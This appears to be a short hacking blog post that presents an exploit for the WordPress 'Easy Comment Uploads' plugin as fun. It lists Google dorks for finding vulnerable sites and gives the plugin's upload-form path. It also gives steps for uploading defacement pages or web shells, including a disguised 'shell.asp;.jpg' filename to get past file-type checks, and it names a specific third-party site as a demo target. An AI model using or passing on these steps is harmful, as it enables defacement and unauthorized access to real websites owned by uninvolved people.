Wordpress Exploit : Thousands of websites are vulnerable

This venerability is known as WordPress Easy Comment Upload Venerability.

Many of you should know about it, but i wrote this article because for ones who don't know about it, it could be fun!.

Google dorks:

"inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php"
/wp-content/plugins/easy-comment-uploads/upload-form.php
Index of /wp-content/plugins/easy-comment-uploads

Open Google and enter any dork which Given,

Now select any website
and goto this url site.com/wp-content/plugins/easy-comment-uploads/upload-form.php

You'll Got Upload Option here :)

Now Upload Your Deface ....
and check it here site.com/wp-content/uploads/2011/05/yourfilehere

Note :- In some websites you can Upload your deface in txt on only ... and you can upload shell in 50% sites only ... upload shell in image format ex; shell.asp;.jpg

DEMO:
http://www.findthepearl.com/
http://www.findthepearl.com/wp-content/plugins/easy-comment-uploads/
Thank you for reading stay in touch with filehouse for all latest updates..:)